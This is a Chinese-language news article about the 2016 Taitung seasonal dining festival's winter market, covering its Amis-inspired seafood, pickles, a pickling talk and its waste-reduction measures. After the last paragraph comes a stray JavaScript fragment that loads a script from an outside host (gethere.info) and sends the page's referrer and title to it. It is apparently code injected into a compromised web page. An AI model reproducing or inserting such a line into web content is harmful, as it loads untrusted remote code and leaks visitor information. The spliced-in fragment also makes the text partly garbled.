2016台東時令餐桌節最後一場市集活動「冬飽。漁夫的餐桌」，將於11月26日在鐵花新聚落登場，有台東超過35個店家與友善小農，現場分享限定的手作料理與故事。聚集了縱谷線的山珍、海岸線的海味及在地特產的小米，還有韓國團隊要來分享韓國慢食與飲食文化，要帶民眾一起吃飽飽好過冬。
主辦單位表示，時令餐桌節不只網羅台東各地美味慢食，透過一季一次、店家準備當季限定的料理，讓旅客親身感受在地、當季食材的滋味，傳達「吃當季、品台東」的理念，同時了解擺攤的小農、店家烹調食材的生產履歷，以及他們的故事與飲食文化。
冬季市集「冬飽。漁夫的餐桌」中，這次會以阿美族的飲食文化為主題發想，除了海鮮與新鮮蔬菜外，還能能發現各種瓶瓶罐罐的醃漬物。活動當天下午將舉辦以「醃漬文化」為重點的慢食講座，除了分享醃漬食物的食材、背景與作法，旅客也可以現場品嚐。
另外也不能錯過台東招牌的鬼頭刀魚柳、急速冷凍的生魚片，還有現打的手工魚丸。店家準備的山珍也不遑多讓，有阿美族與布農族風味的烤肉、紫米貝果、洛神蜜餞與洛神冰淇淋。不用繞一圈台東，只要來一趟時令餐桌節，就能一次品嚐這些限定好料。
為了減少垃圾量，活動中將提供「餐具租借」服務，也歡迎旅客自備環保餐具逛市集，還可至服務台領取市集限量的折價券。另外還可以至服務台索取「集食行樂」，只要消費就可蓋章，集滿 8 個章就能兌換店家、小農精心準備的限量好禮。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;